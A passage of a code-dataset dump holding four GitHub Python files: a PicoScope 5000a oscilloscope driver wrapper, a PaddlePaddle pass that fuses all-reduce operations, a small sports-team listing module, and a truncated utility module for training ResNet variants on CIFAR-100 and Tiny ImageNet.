picoscope.darwin_utils import LoadLibraryDarwin\n self.lib = LoadLibraryDarwin(\"lib\" + self.LIBNAME + \".dylib\")\n else:\n from ctypes import windll\n from ctypes.util import find_library\n self.lib = windll.LoadLibrary(\n find_library(str(self.LIBNAME + \".dll\"))\n )\n\n self.resolution = self.ADC_RESOLUTIONS[\"8\"]\n\n super(PS5000a, self).__init__(serialNumber, connect)\n\n def _lowLevelOpenUnit(self, serialNumber):\n c_handle = c_int16()\n if serialNumber is not None:\n serialNumberStr = create_string_buffer(bytes(serialNumber,\n encoding='utf-8'))\n else:\n serialNumberStr = None\n # Passing None is the same as passing NULL\n m = self.lib.ps5000aOpenUnit(byref(c_handle), serialNumberStr,\n self.resolution)\n self.handle = c_handle.value\n\n # This will check if the power supply is not connected\n # and change the power supply accordingly\n # Personally (me = Mark), I don't like this\n # since the user should address this immediately, and we\n # shouldn't let this go as a soft error\n # but I think this should do for now\n if m == 0x11A:\n self.changePowerSource(m)\n else:\n self.checkResult(m)\n\n # B models have different AWG buffer sizes\n # 5242B, 5442B: 2**14\n # 5243B, 5443B: 2**15\n # 5444B, 5244B: 3 * 2**14\n # Model 5444B identifies itself properly in VariantInfo, I will assume\n # the others do as well.\n\n self.model = self.getUnitInfo('VariantInfo')\n # print(\"Checking variant, found: \" + str(self.model))\n if self.model in ('5244B', '5444B'):\n self.AWGBufferAddressWidth = math.log(3 * 2**14, 2)\n self.AWGMaxVal = 32767\n self.AWGMinVal = -32768\n self.AWGMaxSamples = 49152\n elif self.model in ('5243B', '5443B', '5243D', '5443D'):\n self.AWGBufferAddressWidth = 15\n self.AWGMaxVal = 32767\n self.AWGMinVal = -32768\n self.AWGMaxSamples = 2**self.AWGBufferAddressWidth\n else:\n # This is what the previous PS5000a used for all scopes.\n # I am leaving it the same, although I think the AWGMaxVal and\n # AWGMinVal issue was fixed and should be -32768 to 32767 for all\n # 5000 models\n self.AWGBufferAddressWidth = 14\n # Note this is NOT what is written in the Programming guide as of\n # version # 10_5_0_28\n # This issue was acknowledged in this thread\n # http://www.picotech.com/support/topic13217.html\n self.AWGMaxVal = 0x0FFF\n self.AWGMinVal = 0x0000\n self.AWGMaxSamples = 2**self.AWGBufferAddressWidth\n\n def _lowLevelCloseUnit(self):\n m = self.lib.ps5000aCloseUnit(c_int16(self.handle))\n self.checkResult(m)\n\n def _lowLevelSetChannel(self, chNum, enabled, coupling, VRange, VOffset,\n bandwidth):\n m = self.lib.ps5000aSetChannel(c_int16(self.handle), c_enum(chNum),\n c_int16(enabled), c_enum(coupling),\n c_enum(VRange), c_float(VOffset))\n self.checkResult(m)\n\n # The error this might through are\n # INVALID_HANDLE\n # INVALID_CHANNEL\n # INVALID_BANDWIDTH\n # Invalid bandwidth is the only case that could go wrong.\n # The others would be thrown above (assuming no race condition:\n # i.e. unplugging the scope in between this call.\n # I decided to keep the logic below to avoid a possible error\n # picobase/SetChannel should be changed to the following\n # Set the channel\n # save the new channel settings\n # check if ps5000a\n # change the bandwidth separately\n # changing the bandwidth would be it's own function (implemented below)\n if bandwidth:\n m = self.lib.ps5000aSetBandwidthFilter(c_int16(self.handle),\n c_enum(chNum), c_enum(1))\n else:\n m = self.lib.ps5000aSetBandwidthFilter(c_int16(self.handle),\n c_enum(chNum), c_enum(0))\n self.checkResult(m)\n\n def _lowLevelSetBandwidthFilter(self, channel, bandwidth):\n m = self.lib.ps5000aSetBandwidthFilter(c_int16(self.handle),\n c_enum(channel),\n c_enum(bandwidth))\n self.checkResult(m)\n\n def _lowLevelStop(self):\n m = self.lib.ps5000aStop(c_int16(self.handle))\n self.checkResult(m)\n\n def _lowLevelGetUnitInfo(self, info):\n s = create_string_buffer(256)\n requiredSize = c_int16(0)\n\n m = self.lib.ps5000aGetUnitInfo(c_int16(self.handle), byref(s),\n c_int16(len(s)), byref(requiredSize),\n c_enum(info))\n self.checkResult(m)\n if requiredSize.value > len(s):\n s = create_string_buffer(requiredSize.value + 1)\n m = self.lib.ps5000aGetUnitInfo(c_int16(self.handle), byref(s),\n c_int16(len(s)),\n byref(requiredSize), c_enum(info))\n self.checkResult(m)\n\n # should this bee ascii instead?\n # I think they are equivalent...\n return s.value.decode('utf-8')\n\n def _lowLevelFlashLed(self, times):\n m = self.lib.ps5000aFlashLed(c_int16(self.handle), c_int16(times))\n self.checkResult(m)\n\n def _lowLevelSetSimpleTrigger(self, enabled, trigsrc, threshold_adc,\n direction, delay, timeout_ms):\n m = self.lib.ps5000aSetSimpleTrigger(\n c_int16(self.handle), c_int16(enabled),\n c_enum(trigsrc), c_int16(threshold_adc),\n c_enum(direction), c_uint32(delay), c_int16(timeout_ms))\n self.checkResult(m)\n\n def _lowLevelRunBlock(self, numPreTrigSamples, numPostTrigSamples,\n timebase, oversample, segmentIndex, callback,\n pParameter):\n # Hold a reference to the callback so that the Python\n # function pointer doesn't get free'd.\n self._c_runBlock_callback = blockReady(callback)\n timeIndisposedMs = c_int32()\n m = self.lib.ps5000aRunBlock(\n c_int16(self.handle), c_uint32(numPreTrigSamples),\n c_uint32(numPostTrigSamples), c_uint32(timebase),\n byref(timeIndisposedMs), c_uint32(segmentIndex),\n self._c_runBlock_callback, c_void_p())\n self.checkResult(m)\n return timeIndisposedMs.value\n\n def _lowLevelIsReady(self):\n ready = c_int16()\n m = self.lib.ps5000aIsReady(c_int16(self.handle), byref(ready))\n self.checkResult(m)\n if ready.value:\n return True\n else:\n return False\n\n def _lowLevelPingUnit(self):\n m = self.lib.ps5000aPingUnit(c_int16(self.handle))\n return m\n\n def _lowLevelGetTimebase(self, tb, noSamples, oversample, segmentIndex):\n \"\"\"Return (timeIntervalSeconds, maxSamples).\"\"\"\n maxSamples = c_int32()\n sampleRate = c_float()\n\n m = self.lib.ps5000aGetTimebase2(c_int16(self.handle), c_uint32(tb),\n c_uint32(noSamples),\n byref(sampleRate),\n byref(maxSamples),\n c_uint32(segmentIndex))\n self.checkResult(m)\n\n return (sampleRate.value / 1.0E9, maxSamples.value)\n\n def getTimeBaseNum(self, sampleTimeS):\n \"\"\"Convert sample time in S to something to pass to API Call.\"\"\"\n if self.resolution == self.ADC_RESOLUTIONS[\"8\"]:\n maxSampleTime = (((2 ** 32 - 1) - 2) / 125000000)\n if sampleTimeS < 8.0E-9:\n st = math.floor(math.log(sampleTimeS * 1E9, 2))\n st = max(st, 0)\n else:\n if sampleTimeS > maxSampleTime:\n sampleTimeS = maxSampleTime\n st = math.floor((sampleTimeS * 125000000) + 2)\n\n elif self.resolution == self.ADC_RESOLUTIONS[\"12\"]:\n maxSampleTime = (((2 ** 32 - 1) - 3) / 62500000)\n if sampleTimeS < 16.0E-9:\n st = math.floor(math.log(sampleTimeS * 5E8, 2)) + 1\n st = max(st, 1)\n else:\n if sampleTimeS > maxSampleTime:\n sampleTimeS = maxSampleTime\n st = math.floor((sampleTimeS * 62500000) + 3)\n\n elif (self.resolution == self.ADC_RESOLUTIONS[\"14\"]) or (\n self.resolution == self.ADC_RESOLUTIONS[\"15\"]):\n maxSampleTime = (((2 ** 32 - 1) - 2) / 125000000)\n if sampleTimeS > maxSampleTime:\n sampleTimeS = maxSampleTime\n st = math.floor((sampleTimeS * 125000000) + 2)\n st = max(st, 3)\n\n elif self.resolution == self.ADC_RESOLUTIONS[\"16\"]:\n maxSampleTime = (((2 ** 32 - 1) - 3) / 62500000)\n if sampleTimeS > maxSampleTime:\n sampleTimeS = maxSampleTime\n st = math.floor((sampleTimeS * 62500000) + 3)\n st = max(st, 3)\n\n else:\n raise ValueError(\"Invalid Resolution for Device?\")\n\n # is this cast needed?\n st = int(st)\n return st\n\n def getTimestepFromTimebase(self, timebase):\n \"\"\"Return Timestep from timebase.\"\"\"\n if self.resolution == self.ADC_RESOLUTIONS[\"8\"]:\n if timebase < 3:\n dt = 2. ** timebase / 1.0E9\n else:\n dt = (timebase - 2.0) / 125000000.\n elif self.resolution == self.ADC_RESOLUTIONS[\"12\"]:\n if timebase < 4:\n dt = 2. ** (timebase - 1) / 5.0E8\n else:\n dt = (timebase - 3.0) / 62500000.\n elif (self.resolution == self.ADC_RESOLUTIONS[\"14\"]) or (\n self.resolution == self.ADC_RESOLUTIONS[\"15\"]):\n dt = (timebase - 2.0) / 125000000.\n elif self.resolution == self.ADC_RESOLUTIONS[\"16\"]:\n dt = (timebase - 3.0) / 62500000.\n return dt\n\n def _lowLevelSetAWGSimpleDeltaPhase(self, waveform, deltaPhase,\n offsetVoltage, pkToPk, indexMode,\n shots, triggerType, triggerSource):\n \"\"\"Waveform should be an array of shorts.\"\"\"\n waveformPtr = waveform.ctypes.data_as(POINTER(c_int16))\n\n m = self.lib.ps5000aSetSigGenArbitrary(\n c_int16(self.handle),\n c_uint32(int(offsetVoltage * 1E6)), # offset voltage in microvolts\n c_uint32(int(pkToPk * 1E6)), # pkToPk in microvolts\n c_uint32(int(deltaPhase)), # startDeltaPhase\n c_uint32(int(deltaPhase)), # stopDeltaPhase\n c_uint32(0), # deltaPhaseIncrement\n c_uint32(0), # dwellCount\n waveformPtr, # arbitraryWaveform\n c_int32(len(waveform)), # arbitraryWaveformSize\n c_enum(0), # sweepType for deltaPhase\n c_enum(0), # operation (adding random noise and whatnot)\n c_enum(indexMode), # single, dual, quad\n c_uint32(shots),\n c_uint32(0), # sweeps\n c_uint32(triggerType),\n c_uint32(triggerSource),\n c_int16(0)) # extInThreshold\n self.checkResult(m)\n\n def _lowLevelSetDataBuffer(self, channel, data, downSampleMode,\n segmentIndex):\n \"\"\"Set the data buffer.\n\n Be sure to call _lowLevelClearDataBuffer\n when you are done with the data array\n or else subsequent calls to GetValue will still use the same array.\n \"\"\"\n dataPtr = data.ctypes.data_as(POINTER(c_int16))\n numSamples = len(data)\n\n m = self.lib.ps5000aSetDataBuffer(c_int16(self.handle),\n c_enum(channel),\n dataPtr, c_int32(numSamples),\n c_uint32(segmentIndex),\n c_enum(downSampleMode))\n self.checkResult(m)\n\n def _lowLevelSetDataBufferBulk(self, channel, data, segmentIndex,\n downSampleMode):\n \"\"\"Just calls setDataBuffer with argument order changed.\n\n For compatibility with current picobase.py.\n \"\"\"\n self._lowLevelSetDataBuffer(channel,\n data,\n downSampleMode,\n segmentIndex)\n\n def _lowLevelClearDataBuffer(self, channel, segmentIndex):\n m = self.lib.ps5000aSetDataBuffer(c_int16(self.handle),\n c_enum(channel),\n c_void_p(), c_uint32(0),\n c_uint32(segmentIndex),\n c_enum(0))\n self.checkResult(m)\n\n def _lowLevelGetValues(self, numSamples, startIndex, downSampleRatio,\n downSampleMode, segmentIndex):\n numSamplesReturned = c_uint32()\n numSamplesReturned.value = numSamples\n overflow = c_int16()\n m = self.lib.ps5000aGetValues(\n c_int16(self.handle), c_uint32(startIndex),\n byref(numSamplesReturned), c_uint32(downSampleRatio),\n c_enum(downSampleMode), c_uint32(segmentIndex),\n byref(overflow))\n self.checkResult(m)\n return (numSamplesReturned.value, overflow.value)\n\n def _lowLevelSetSigGenBuiltInSimple(self, offsetVoltage, pkToPk, waveType,\n frequency, shots, triggerType,\n triggerSource, stopFreq, increment,\n dwellTime, sweepType, numSweeps):\n # TODO, I just noticed that V2 exists\n # Maybe change to V2 in the future\n\n if stopFreq is None:\n stopFreq = frequency\n\n m = self.lib.ps5000aSetSigGenBuiltIn(\n c_int16(self.handle),\n c_int32(int(offsetVoltage * 1000000)),\n c_int32(int(pkToPk * 1000000)),\n c_int16(waveType),\n c_float(frequency), c_float(stopFreq),\n c_float(increment), c_float(dwellTime),\n c_enum(sweepType), c_enum(0),\n c_uint32(shots), c_uint32(numSweeps),\n c_enum(triggerType), c_enum(triggerSource),\n c_int16(0))\n self.checkResult(m)\n\n def _lowLevelSetDeviceResolution(self, resolution):\n self.resolution = resolution\n m = self.lib.ps5000aSetDeviceResolution(\n c_int16(self.handle),\n c_enum(resolution))\n self.checkResult(m)\n\n def _lowLevelChangePowerSource(self, powerstate):\n m = self.lib.ps5000aChangePowerSource(\n c_int16(self.handle),\n c_enum(powerstate))\n self.checkResult(m)\n\n # Morgan's additions\n def _lowLevelGetValuesBulk(self, numSamples, fromSegment, toSegment,\n downSampleRatio, downSampleMode, overflow):\n \"\"\"Copy data from several memory segments at once.\"\"\"\n overflowPoint = overflow.ctypes.data_as(POINTER(c_int16))\n m = self.lib.ps5000aGetValuesBulk(\n c_int16(self.handle),\n byref(c_int32(numSamples)),\n c_int32(fromSegment),\n c_int32(toSegment),\n c_int32(downSampleRatio),\n c_enum(downSampleMode),\n overflowPoint\n )\n self.checkResult(m)\n\n def _lowLevelSetNoOfCaptures(self, numCaptures):\n m = self.lib.ps5000aSetNoOfCaptures(\n c_int16(self.handle),\n c_uint32(numCaptures))\n self.checkResult(m)\n\n def _lowLevelMemorySegments(self, numSegments):\n maxSamples = c_int32()\n m = self.lib.ps5000aMemorySegments(\n c_int16(self.handle), c_uint32(numSegments), byref(maxSamples))\n self.checkResult(m)\n return maxSamples.value\n\n def _lowLevelGetValuesTriggerTimeOffsetBulk(self, fromSegment, toSegment):\n \"\"\"Supposedly gets the trigger times for a bunch of segments at once.\n\n For block mode.\n Can't get it to work yet, however.\n \"\"\"\n import numpy as np\n\n nSegments = toSegment - fromSegment + 1\n # time = c_int64()\n times = np.ascontiguousarray(\n np.zeros(nSegments, dtype=np.int64)\n )\n timeUnits = np.ascontiguousarray(\n np.zeros(nSegments, dtype=np.int32)\n )\n\n m = self.lib.ps5000aGetValuesTriggerTimeOffsetBulk64(\n c_int16(self.handle),\n times.ctypes.data_as(POINTER(c_int64)),\n timeUnits.ctypes.data_as(POINTER(c_enum)),\n c_uint32(fromSegment),\n c_uint32(toSegment)\n )\n self.checkResult(m)\n # timeUnits=np.array([self.TIME_UNITS[tu] for tu in timeUnits])\n return times, timeUnits\n","repo_name":"colinoflynn/pico-python","sub_path":"picoscope/ps5000a.py","file_name":"ps5000a.py","file_ext":"py","file_size_in_byte":21501,"program_lang":"python","lang":"en","doc_type":"code","stars":93,"dataset":"github-code","pt":"29"} +{"seq_id":"36020087861","text":"import numpy as np\n\nfrom paddle.framework import core\nfrom paddle.utils import unique_name\n\nfrom .pass_base import PassBase, PassType, register_pass\n\n\ndef find_adjacent_match_sequences(\n iterable, filter_func, adjacent_filter_func=None\n):\n n = len(iterable)\n match_sequences = []\n if adjacent_filter_func is None:\n adjacent_filter_func = lambda ref_op, new_op: True\n i = 0\n while True:\n while i < n and not filter_func(iterable[i]):\n i += 1\n j = i + 1\n while (\n j < n\n and filter_func(iterable[j])\n and adjacent_filter_func(iterable[i], iterable[j])\n ):\n j += 1\n if i < n and j <= n:\n match_sequences.append((i, j))\n i = j + 1\n if i >= n:\n break\n return match_sequences\n\n\ndef insert_fuse_all_reduce_ops(\n block, reversed_op_indices, input_var_names, output_var_names, dtype, attrs\n):\n fused_var = block.create_var(\n name=unique_name.generate(f\"FusedOutput_{input_var_names[0]}\"),\n dtype=dtype,\n )\n\n # FIXME(zengjinle): here we assume that we use\n # c_sync_calc_stream/c_sync_comm_stream to do sync.\n # But someone may use c_wait_compute/c_wait_comm instead.\n if not attrs[\"use_calc_stream\"]:\n ring_id = attrs[\"ring_id\"]\n new_op_indices = list(reversed_op_indices)\n\n for i, op_idx in enumerate(reversed_op_indices):\n prev_op_idx = op_idx - 1\n while (\n prev_op_idx >= 0\n and block.ops[prev_op_idx].type == \"c_sync_calc_stream\"\n ):\n new_op_indices.append(prev_op_idx)\n prev_op_idx -= 1\n\n if i > 0:\n next_op_idx = op_idx + 1\n n = len(block.ops)\n while (\n next_op_idx < n\n and block.ops[next_op_idx].type == \"c_sync_comm_stream\"\n ):\n assert block.ops[next_op_idx].attr(\"ring_id\") == ring_id\n new_op_indices.append(next_op_idx)\n\n new_op_indices = list(set(new_op_indices))\n new_op_indices.sort(reverse=True)\n reversed_op_indices = new_op_indices\n\n insert_idx = reversed_op_indices[0] + 1\n op_role_key = core.op_proto_and_checker_maker.kOpRoleAttrName()\n\n concated_shapes = []\n concated_ranks = []\n for var_name in output_var_names:\n shape = block._find_var_recursive(var_name).shape\n concated_shapes.extend(shape)\n concated_ranks.append(len(shape))\n\n coalesce_tensor_op_kwargs = {\n \"type\": \"coalesce_tensor\",\n \"inputs\": {\n \"Input\": input_var_names,\n },\n \"outputs\": {\n \"Output\": output_var_names,\n \"FusedOutput\": fused_var,\n },\n \"attrs\": {\n \"use_align\": True,\n \"dtype\": dtype,\n \"concated_shapes\": concated_shapes,\n \"concated_ranks\": concated_ranks,\n op_role_key: attrs[op_role_key],\n },\n }\n\n if not attrs[\"use_calc_stream\"]:\n block._insert_op_without_sync(\n insert_idx,\n type=\"c_sync_calc_stream\",\n inputs={\"X\": fused_var},\n outputs={\"Out\": fused_var, op_role_key: attrs[op_role_key]},\n )\n insert_idx += 1\n\n # c_allreduce_sum should insert\n block._insert_op_without_sync(\n insert_idx,\n type=\"c_allreduce_sum\",\n inputs={\"X\": fused_var},\n outputs={\"Out\": fused_var},\n attrs=attrs,\n )\n\n for op_idx in reversed_op_indices:\n block._remove_op(op_idx)\n\n return coalesce_tensor_op_kwargs\n\n\ndef has_same_attrs(op1, op2, attr_names):\n for attr_name in attr_names:\n if op1.attr(attr_name) != op2.attr(attr_name):\n return False\n return True\n\n\ndef filter_all_collective_op_indices(block):\n # NOTE: should add more collective ops\n all_collective_ops = {\n \"c_allreduce_sum\",\n \"c_allreduce_prod\",\n \"c_allreduce_max\",\n \"c_allreduce_min\",\n \"c_allgather\",\n \"c_broadcast\",\n }\n\n match_op_indices = []\n for i, op in enumerate(block.ops):\n if op.type in all_collective_ops:\n match_op_indices.append(i)\n return match_op_indices\n\n\ndef find_all_fuse_all_reduce_groups(block):\n collective_op_indices = filter_all_collective_op_indices(block)\n collective_ops = [block.ops[i] for i in collective_op_indices]\n\n def is_valid_allreduce_op(op):\n if op.type != \"c_allreduce_sum\" or op.attr(\"use_model_parallel\"):\n return False\n in_var_name = op.input(\"X\")[0]\n out_var_name = op.output(\"Out\")[0]\n if in_var_name != out_var_name:\n return False\n in_var = block._find_var_recursive(in_var_name)\n assert in_var is not None\n if in_var.type != core.VarDesc.VarType.LOD_TENSOR:\n return False\n shape = in_var.shape\n if any(s <= 0 for s in shape):\n return False\n return True\n\n same_attr_names = [\n \"ring_id\",\n \"use_calc_stream\",\n core.op_proto_and_checker_maker.kOpRoleAttrName(),\n core.op_proto_and_checker_maker.kOpDeviceAttrName(),\n ]\n\n def is_same_adjacent_op(ref_op, new_op):\n if not has_same_attrs(ref_op, new_op, same_attr_names):\n return False\n ref_op_in_var = block._find_var_recursive(ref_op.input(\"X\")[0])\n new_op_in_var = block._find_var_recursive(new_op.input(\"X\")[0])\n if ref_op_in_var.dtype != new_op_in_var.dtype:\n return False\n return True\n\n match_seqs = find_adjacent_match_sequences(\n collective_ops, is_valid_allreduce_op, is_same_adjacent_op\n )\n new_match_seqs = []\n for i, j in match_seqs:\n new_match_seqs.append([collective_op_indices[k] for k in range(i, j)])\n return new_match_seqs\n\n\ndef split_fuse_all_reduce_groups_by_deps(block, groups, op_deps):\n new_groups = []\n\n def insert_new_group(op_indices, start_idx, end_idx):\n if end_idx - start_idx > 1:\n new_groups.append(op_indices[start_idx:end_idx])\n\n for op_indices in groups:\n n = len(op_indices)\n assert n > 0\n if n == 1:\n continue\n\n start_idx = 0\n k = start_idx + 1\n while k < n:\n found_group = False\n for prev_idx in range(start_idx, k):\n dep = op_deps[op_indices[prev_idx]][op_indices[k]]\n if dep == core.Node.Dep.NoDep:\n continue\n # [start_idx, k) is valid groups\n insert_new_group(op_indices, start_idx, k)\n start_idx = k\n break\n k += 1\n\n insert_new_group(op_indices, start_idx, k)\n\n return new_groups\n\n\ndef insert_coalesce_tensor_ops(block, coalesce_ops_kwargs):\n if not coalesce_ops_kwargs:\n return\n\n var_infos = {}\n for idx, op in enumerate(block.ops):\n for var in op.input_arg_names:\n if var not in var_infos:\n var_infos[var] = [idx, True]\n\n for var in op.output_arg_names:\n if var not in var_infos:\n var_infos[var] = [idx, False]\n\n n = len(block.ops)\n insert_idx_and_kwargs = []\n for group_idx, kwargs in enumerate(coalesce_ops_kwargs):\n all_vars = kwargs[\"inputs\"][\"Input\"] + kwargs[\"outputs\"][\"Output\"]\n min_op_idx = n\n copy_data = False\n for var in all_vars:\n if var not in var_infos:\n copy_data = True\n min_idx = 0\n break\n op_idx, is_input = var_infos[var]\n if is_input:\n copy_data = True\n min_op_idx = min(min_op_idx, op_idx)\n kwargs[\"attrs\"][\"copy_data\"] = copy_data\n insert_idx_and_kwargs.append((min_op_idx, kwargs))\n\n insert_idx_and_kwargs.sort(key=lambda element: element[0], reverse=True)\n for idx, kwargs in insert_idx_and_kwargs:\n block._insert_op_without_sync(idx, **kwargs)\n\n\ndef insert_fuse_all_reduce_by_memory_size(block, groups, max_memory_size):\n op_role_key = core.op_proto_and_checker_maker.kOpRoleAttrName()\n op_role_var_key = core.op_proto_and_checker_maker.kOpRoleVarAttrName()\n op_device_key = core.op_proto_and_checker_maker.kOpDeviceAttrName()\n coalesce_ops_kwargs = []\n for group in reversed(groups):\n first_op = block.ops[group[0]]\n ring_id = first_op.attr(\"ring_id\")\n use_calc_stream = first_op.attr(\"use_calc_stream\")\n use_model_parallel = first_op.attr(\"use_model_parallel\")\n op_role = first_op.attr(op_role_key)\n op_device = first_op.attr(op_device_key)\n\n attrs = {\n \"ring_id\": ring_id,\n \"use_calc_stream\": use_calc_stream,\n \"use_model_parallel\": use_model_parallel,\n op_role_key: op_role,\n op_device_key: op_device,\n }\n dtype = block._find_var_recursive(first_op.input(\"X\")[0]).dtype\n sizeof = core.size_of_dtype(dtype)\n\n cur_mem_size = 0\n op_role_vars = []\n recorded_op_indices = []\n in_var_names = []\n out_var_names = []\n for op_idx in reversed(group):\n op = block.ops[op_idx]\n in_var_name = op.input(\"X\")[0]\n out_var_name = op.output(\"Out\")[0]\n in_var = block._find_var_recursive(in_var_name)\n mem_size = int(np.prod(in_var.shape)) * sizeof\n if cur_mem_size + mem_size > max_memory_size:\n if len(recorded_op_indices) > 1:\n attrs[op_role_var_key] = op_role_vars\n coalesce_op_kwargs = insert_fuse_all_reduce_ops(\n block,\n recorded_op_indices,\n in_var_names,\n out_var_names,\n dtype,\n attrs,\n )\n coalesce_ops_kwargs.append(coalesce_op_kwargs)\n\n cur_mem_size = 0\n op_role_vars = []\n recorded_op_indices = []\n in_var_names = []\n out_var_names = []\n\n cur_mem_size += mem_size\n recorded_op_indices.append(op_idx)\n in_var_names.append(in_var_name)\n out_var_names.append(out_var_name)\n if op.has_attr(op_role_var_key):\n op_role_vars.extend(op.attr(op_role_var_key))\n\n if len(recorded_op_indices) > 1:\n attrs[op_role_var_key] = op_role_vars\n coalesce_op_kwargs = insert_fuse_all_reduce_ops(\n block,\n recorded_op_indices,\n in_var_names,\n out_var_names,\n dtype,\n attrs,\n )\n coalesce_ops_kwargs.append(coalesce_op_kwargs)\n block._sync_with_cpp()\n insert_coalesce_tensor_ops(block, coalesce_ops_kwargs)\n\n\n@register_pass(\"fuse_all_reduce\")\nclass FuseAllReducePass(PassBase):\n def __init__(self):\n super().__init__()\n self.set_attr(\"max_memory_size\", -1)\n\n def _check_self(self):\n max_memory_size = self.get_attr(\"max_memory_size\")\n return max_memory_size > 0\n\n def _check_conflict(self, other_pass):\n return True\n\n def _type(self):\n return PassType.COMM_OPT\n\n # NOTE: why FuseAllReducePass can override apply_single_impl instead of\n # apply_impl? AllReduce is a collective operation, so the program of each\n # rank inside the same communication group should have the same\n # c_allreduce_sum operations. Therefore, FuseAllReducePass can override\n # apply_single_impl directly.\n def _apply_single_impl(self, main_program, startup_program, context):\n max_memory_size = self.get_attr(\"max_memory_size\")\n op_deps = main_program.desc.get_op_deps()\n num_blocks = main_program.num_blocks\n for i in range(num_blocks):\n block = main_program.block(i)\n groups = find_all_fuse_all_reduce_groups(block)\n groups = split_fuse_all_reduce_groups_by_deps(\n block, groups, op_deps[i]\n )\n insert_fuse_all_reduce_by_memory_size(\n block, groups, max_memory_size\n )\n main_program._sync_with_cpp()\n","repo_name":"PaddlePaddle/Paddle","sub_path":"python/paddle/distributed/passes/fuse_all_reduce.py","file_name":"fuse_all_reduce.py","file_ext":"py","file_size_in_byte":12311,"program_lang":"python","lang":"en","doc_type":"code","stars":21032,"dataset":"github-code","pt":"29"} +{"seq_id":"9929600321","text":"import sports\n\ngiants = sports.get_team(sports.FOOTBALL, 'giants')\njets = sports.get_team(sports.FOOTBALL, 'jets')\ndevils = sports.get_team(sports.HOCKEY, 'devils')\n\nteams = [{'name': devils.name, 'link': 'https://www.nhl.com/devils/', 'record': devils.record, 'won': '3'},\n {'name': giants.name, 'link': 'https://www.giants.com/', 'record': giants.record, 'won': '8'},\n {'name': jets.name, 'link': 'https://www.newyorkjets.com/', 'record': jets.record, 'won': '1'},\n {'name': 'Red Bulls', 'link': 'https://www.newyorkredbulls.com/', 'record': '5-11-0', 'won': '5'},\n {'name': 'NJ Jackals', 'link': 'http://njjackals.pointstreaksites.com/view/njjackals', 'record': '62-27', 'won': '10'}]\n\n\ndef sendInfo():\n return teams\n","repo_name":"cs490-001-group8/The-Jersey-Bulletin","sub_path":"sports_info.py","file_name":"sports_info.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"18613996413","text":"from __future__ import print_function, absolute_import\nimport torch\nimport torch.nn as nn\nimport torchvision\nimport torchvision.transforms as transforms\n\nimport os\nimport sys\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib\nmatplotlib.use('Agg')\nimport time\n\nfrom config import *\n\ndef init_params(net):\n '''Init layer parameters.'''\n for m in net.modules():\n if isinstance(m, nn.Conv2d):\n nn.init.kaiming_normal_(m.weight, mode='fan_out')\n if m.bias is not None:\n nn.init.constant_(m.bias, 0)\n elif isinstance(m, nn.BatchNorm2d):\n nn.init.constant_(m.weight, 1)\n nn.init.constant_(m.bias, 0)\n elif isinstance(m, nn.Linear):\n nn.init.normal_(m.weight, std=1e-3)\n if m.bias is not None:\n nn.init.constant_(m.bias, 0)\n\ndef get_mean_and_std(dataset):\n '''Compute the mean and std value of dataset.'''\n dataloader = torch.utils.data.DataLoader(dataset, batch_size=1, shuffle=True, num_workers=2)\n mean = torch.zeros(3)\n std = torch.zeros(3)\n print('==> Computing mean and std..')\n for inputs, targets in dataloader:\n for i in range(3):\n mean[i] += inputs[:,i,:,:].mean()\n std[i] += inputs[:,i,:,:].std()\n mean.div_(len(dataset))\n std.div_(len(dataset))\n return mean, std\n\ndef count_parameters(net, all=True):\n # If all= Flase, we only return the trainable parameters; tested\n return sum(p.numel() for p in net.parameters() if p.requires_grad or all)\n\ndef calculate_acc(dataloader, net, device):\n with torch.no_grad():\n correct = 0\n total = 0\n for data in dataloader:\n images, labels = data\n images = images.to(device)\n labels = labels.to(device)\n \n outputs = net(images)\n _, predicted = torch.max(outputs.data, 1)\n total += labels.size(0)\n correct += (predicted == labels).sum().item()\n\n return (correct / total) * 100\n\n# INPUTS: output have shape of [batch_size, category_count]\n# and target in the shape of [batch_size] * there is only one true class for each sample\n# topk is tuple of classes to be included in the precision\n# topk have to a tuple so if you are giving one number, do not forget the comma\ndef accuracy(output, target, topk=(1,5)):\n with torch.no_grad():\n maxk = max(topk)\n batch_size = target.size(0)\n _, pred = torch.topk(input=output, k=maxk, dim=1, largest=True, sorted=True)\n pred = pred.t()\n correct = pred.eq(target.view(1, -1).expand_as(pred))\n\n res = []\n for k in topk:\n correct_k = correct[:k].view(-1).float().sum(0, keepdim=True)\n res.append(correct_k.mul(100.0/batch_size))\n return res\n\ndef get_network(network, dataset, device):\n\n # ResNet18 and Related Work\n if network == 'resnet18':\n if dataset == 'cifar100':\n from cifar.resnet import ResNet18\n elif dataset == 'tiny':\n from tiny.resnet import ResNet18\n\n net = ResNet18()\n\n elif network.startswith('cc') and network.endswith('resnet18'):\n if dataset == 'cifar100':\n from cifar.cc_resnet import CC_ResNet18\n elif dataset == 'tiny':\n from tiny.cc_resnet import CC_ResNet18\n net = CC_ResNet18(num_experts=int( network[2] ))\n\n elif network.startswith('dyresA') and network.endswith('resnet18'):\n if dataset == 'cifar100':\n from cifar.dyresA_resnet import DyResA_ResNet18\n elif dataset == 'tiny':\n from tiny.dyresA_resnet import DyResA_ResNet18\n net = DyResA_ResNet18(num_experts=int( network[6] ))\n\n elif network.startswith('dyresB') and network.endswith('resnet18'):\n if dataset == 'cifar100':\n from cifar.dyresB_resnet import DyResB_ResNet18\n elif dataset == 'tiny':\n from tiny.dyresB_resnet import DyResB_ResNet18\n net = DyResB_ResNet18(num_experts=int( network[6] ))\n\n elif network.startswith('dyresS') and network.endswith('resnet18'):\n if dataset == 'cifar100':\n from cifar.dyresS_resnet import DyResS_ResNet18\n elif dataset == 'tiny':\n from tiny.dyresS_resnet import DyResS_ResNet18\n net = DyResS_ResNet18(num_experts=int( network[6] ))\n\n elif network.startswith('dy') and network.endswith('resnet18'):\n if dataset == 'cifar100':\n from cifar.dy_resnet import Dy_ResNet18\n elif dataset == 'tiny':\n from tiny.dy_resnet import Dy_ResNet18\n net = Dy_ResNet18(num_experts=int( network[2] ))\n\n elif network.startswith('ddsin') and network.endswith('resnet18'):\n if dataset == 'cifar100':\n from cifar.dds_resnet import DDS_ResNet18\n elif dataset == 'tiny':\n from tiny.dds_resnet import DDS_ResNet18\n net = DDS_ResNet18(num_experts=int( network[5] ), mode='in')\n\n elif network.startswith('dds') and network.endswith('resnet18'):\n if dataset == 'cifar100':\n from cifar.dds_resnet import DDS_ResNet18\n elif dataset == 'tiny':\n from tiny.dds_resnet import DDS_ResNet18\n net = DDS_ResNet18(num_experts=int( 